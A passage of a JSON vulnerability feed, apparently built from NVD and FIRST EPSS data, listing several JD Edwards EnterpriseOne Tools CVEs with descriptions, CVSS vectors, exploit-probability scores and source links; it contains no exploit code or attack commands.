2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91304&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91304, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91303","cveId":"CVE-2026-91303","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:32.020Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91303","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00288,"percentile":0.21131,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91303&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91303","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91303","type":"primary","publishedAt":"2026-10-20T22:20:32.020Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91303&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91303, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91296","cveId":"CVE-2026-91296","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:31.210Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91296","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00392,"percentile":0.32999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91296&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91296","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91296","type":"primary","publishedAt":"2026-10-20T22:20:31.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91296&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91296, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91295","cveId":"CVE-2026-91295","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:31.093Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91295","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00447,"percentile":0.3857,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91295&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91295","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91295","type":"primary","publishedAt":"2026-10-20T22:20:31.093Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91295&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91295, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91288","cveId":"CVE-2026-91288","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:30.310Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91288","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00257,"percentile":0.17151,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91288&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91288","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91288","type":"primary","publishedAt":"2026-10-20T22:20:30.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91288&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91288, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91287","cveId":"CVE-2026-91287","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:30.200Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91287","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00238,"percentile":0.14703,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91287&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91287","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91287","type":"primary","publishedAt":"2026-10-20T22:20:30.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91287&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91287, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91286","cveId":"CVE-2026-91286","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized update, insert or delete access to some of JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized update, insert or delete access to some of JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:30.083Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91286","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00206,"percentile":0.10554,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91286&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91286","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91286","type":"primary","publishedAt":"2026-10-20T22:20:30.083Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91286&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91286, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91273","cveId":"CVE-2026-91273","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Object and Env Tech SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Object and Env Tech SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Object and Env Tech SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:28.517Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91273","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00398,"percentile":0.33728,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91273&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91273","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91273","type":"primary","publishedAt":"2026-10-20T22:20:28.517Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91273&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91273, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91272","cveId":"CVE-2026-91272","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:28.400Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91272","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00318,"percentile":0.24513,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91272&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91272","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91272","type":"primary","publishedAt":"2026-10-20T22:20:28.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91272&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91272, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91271","cveId":"CVE-2026-91271","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: 